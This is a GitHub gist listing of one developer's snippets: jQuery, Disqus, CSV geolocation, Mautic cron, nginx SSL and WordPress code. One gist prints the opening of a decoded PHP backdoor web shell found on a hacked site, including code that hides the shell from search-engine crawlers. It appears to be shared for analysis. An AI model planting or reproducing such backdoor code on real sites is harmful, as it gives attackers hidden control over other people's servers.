Skip to content

Instantly share code, notes, and snippets.

View robwent's full-sized avatar
💭
Doing 'stuff'

Robert Went robwent

💭
Doing 'stuff'
View GitHub Profile
@robwent
robwent / move-bs2-modals.js
Created March 9, 2017 09:12
Move all divs with a class of modal to the bottom of the page to prevent issues with modals in relative elements showing behind the overlay.
jQuery(document).ready(function(){
jQuery("div.modal").each(function(){
jQuery('body').append($(this));
});
});
@robwent
robwent / decoded-backdoor.php
Last active May 11, 2017 14:42
Decoded hack backdoor script (legin.php), possibly added through old magento install
/* Decoded by unphp.net */
<?php $color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
@robwent
robwent / disqus-ondemand.html
Last active April 5, 2025 08:08
Loads Disqus comments on click with native JavaScript. Opens comments when linked to directly.
<div class="comments-block">
<button id="show-comments" onclick="disqus();return false;">Load Comments</button>
</div>
<div id="disqus_thread"></div>
<script>
var disqus_loaded = false;
var disqus_shortname = 'xxxx'; //Add your shortname here
@robwent
robwent / addlocation-google.php
Created June 16, 2017 20:07
Geolocate Addresses From Country and Zip Columns in a CSV file and Attach Additional Location Information.
<?php
//The file to be processed
$file = 'mailing_list.csv';
//The header of the fields that contains the country/zip
$zipHeader = 'postal code';
$countryHeader = 'country';
//The file to save the results to
$resultsFile = fopen('mailing_list_location.csv', 'w');
@robwent
robwent / process-csv.php
Created June 16, 2017 21:10
PHP script to read Country and Zip information from a CSV file, look up the address from the Nominatim API and save the data to a new file including the new information.
<?php
// Turn off all error reporting
// We don't want notices screwing up and responses
error_reporting(0);
$file = 'mailing_list.csv';
$resultfile = 'mailing_list_nominatim_location.csv';
$start = 1;
$chunk = 20;
@robwent
robwent / foundation-for-email-blank.html
Created August 27, 2017 20:52
The boilerplate code produced by Foundation for Email(2)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<link rel="stylesheet" type="text/css" href="css/app.css">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="viewport" content="width=device-width">
<title>subject</title>
@robwent
robwent / mautic-serverpilot-crons
Created September 1, 2017 21:15
Serverpilot cron commands for Mautic - Add as serverpilot user, not ubuntu or root
#Serverpilot cron jobs for Mautic
#Comment/uncomment as needed
#Change /marketing/ to the name of your app
#[email protected]
0,15,30,45 * * * * php7.0-sp /srv/users/serverpilot/apps/marketing/public/app/console mautic:segments:update --env=prod --no-debug
5,20,35,50 * * * * php7.0-sp /srv/users/serverpilot/apps/marketing/public/app/console mautic:campaigns:update --env=prod --no-debug
10,25,40,55 * * * * php7.0-sp /srv/users/serverpilot/apps/marketing/public/app/console mautic:campaigns:trigger --env=prod --no-debug
02,17,32,47 * * * * php7.0-sp /srv/users/serverpilot/apps/marketing/public/app/console mautic:emails:send --env=prod --no-debug
@robwent
robwent / appname.ssl.conf
Last active May 30, 2022 06:44
SSL configuration for letsencrypt on serverpilot managed server with http/2 support
server {
listen 443 ssl http2;
listen [::]:443 ssl http2;
server_name domainname.com www.domainname.com;
# letsencrypt certificates
ssl_certificate /etc/letsencrypt/live/domainname.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/domainname.com/privkey.pem;
#SSL Optimization
@robwent
robwent / mautic-wpml-lang.php
Last active February 22, 2020 18:41
Send WPML preferred language to Mautic
<?php
/*
Plugin Name: Mautic WPML Preferred Language
Plugin URI: https://www.robertwent.com/
Description: Sends WPML language preference to Mautic
Version: 1.0
Author: Robert Went
*/
function mautic_wpml_lang_init() {
@robwent
robwent / wp-config.php
Created September 16, 2017 23:15
Wordpress development debug settings
<?php
//define('WP_DEBUG', false);
define('WP_DEBUG', true);
define('WP_DEBUG_LOG', false);
define('WP_DEBUG_DISPLAY', true);
@ini_set('display_errors', 1);